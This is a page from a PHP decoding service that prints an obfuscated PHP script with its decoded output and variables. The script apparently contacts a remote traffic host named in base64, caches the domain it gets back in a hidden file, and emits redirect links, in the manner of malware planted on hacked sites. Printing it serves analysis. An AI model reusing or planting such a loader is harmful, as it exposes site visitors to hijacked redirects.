Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ed6fe1d0be6347b8e = "/index/?7531575880767"; $kkk557 = "2aad6caa4e6c2acea7a31..

Decoded Output download

b'http://'None/index/?7531575880767
b'http://'None/index/?7531575880767

Did this file decode correctly?

Original Code

<?php

$ed6fe1d0be6347b8e = "/index/?7531575880767";

$kkk557 = "2aad6caa4e6c2acea7a31ed3b0da02e2";

$s8c7dd922ad47494f = dirname(__FILE__) . "/" . md5($ed6fe1d0be6347b8e);

$h77e8e1445762ae1a = time();

$dejrif483ol = file_exists($s8c7dd922ad47494f);

$deaa082fa57816233 = 0;

$d07cc694b9b3fc636 = 0;



if ($dejrif483ol) {

	$deaa082fa57816233 = filemtime($s8c7dd922ad47494f);

	$d07cc694b9b3fc636 = $h77e8e1445762ae1a - $deaa082fa57816233;

	$se1260894f59eeae9 = @fopen($s8c7dd922ad47494f, base64_decode('cg=='));

	$ke4e46deb7f9cc58c = json_decode(base64_decode(fread($se1260894f59eeae9, filesize($s8c7dd922ad47494f))) , 1);

	fclose($se1260894f59eeae9);

}



$v634894f9845d8dc65 = 'aHR0cDovL3JvaS10cmFmZmljLmljdS9nZXQucGhwP2Y9anNvbiZrZXk9';

$ye617ef6974faced4 = base64_decode('aHR0cDovLw==') . $ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ] . $ed6fe1d0be6347b8e;



if ($d07cc694b9b3fc636 >= 20 || !$dejrif483ol) {

	$m9b207167e5381c47 = v64547f9857d8dc65($s8c7dd922ad47494f);

	if ($m9b207167e5381c47[base64_decode('ZG9tYWlu') ]) {

		$ye617ef6974faced4 = base64_decode('aHR0cDovLw==') . $m9b207167e5381c47[base64_decode('ZG9tYWlu') ] . $ed6fe1d0be6347b8e;

	}

}





function v64547f9857d8dc65($s8c7dd922ad47494f){

	global $v634894f9845d8dc65,$kkk557;

	if(function_exists('curl_version')){

		$kd88fc6edf21ea464 = curl_init();

		curl_setopt($kd88fc6edf21ea464, CURLOPT_RETURNTRANSFER, true);

		curl_setopt($kd88fc6edf21ea464, CURLOPT_USERAGENT, base64_decode('bmV3cmVxdWVzdA=='));

		curl_setopt($kd88fc6edf21ea464, CURLOPT_URL, base64_decode($v634894f9845d8dc65).$kkk557);

		curl_setopt($kd88fc6edf21ea464, CURLOPT_TIMEOUT, 10);

		$mb4a88417b3d0170d = curl_exec($kd88fc6edf21ea464);

	

		curl_close($kd88fc6edf21ea464);

		$ke4e46deb7f9cc58c = json_decode($mb4a88417b3d0170d, true);

		if ($ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ]) {

			$h0666f0acdeed38d4 = @fopen($s8c7dd922ad47494f, base64_decode('dys='));

			@fwrite($h0666f0acdeed38d4, base64_encode($mb4a88417b3d0170d));

			@fclose($h0666f0acdeed38d4);

			return $ke4e46deb7f9cc58c;

		}

	}else{

		$mb4a88417b3d0170d = file_get_contents(base64_decode($v634894f9845d8dc65).$kkk557);

		$ke4e46deb7f9cc58c = json_decode($mb4a88417b3d0170d, true);

		if ($ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ]) {

			$h0666f0acdeed38d4 = @fopen($s8c7dd922ad47494f, base64_decode('dys='));

			@fwrite($h0666f0acdeed38d4, base64_encode($mb4a88417b3d0170d));

			@fclose($h0666f0acdeed38d4);

			return $ke4e46deb7f9cc58c;

		}		

	}

	return false;

}

echo "$ye617ef6974faced4\n$ye617ef6974faced4";

?>

Function Calls

md5 1
time 1
dirname 1
file_exists 1
base64_decode 2

Variables

$kkk557 2aad6caa4e6c2acea7a31ed3b0da02e2
$dejrif483ol True
$d07cc694b9b3fc636 0
$deaa082fa57816233 0
$ed6fe1d0be6347b8e /index/?7531575880767
$h77e8e1445762ae1a 1697015123
$s8c7dd922ad47494f //a85b806b5c9f347edb6e4c6ac4321595
$ye617ef6974faced4 b'http://'None/index/?7531575880767
$v634894f9845d8dc65 aHR0cDovL3JvaS10cmFmZmljLmljdS9nZXQucGhwP2Y9anNvbiZrZXk9

Stats

MD5 bf0a8877e65a059880a89d6055402eb2
Eval Count 0
Decode Time 71 ms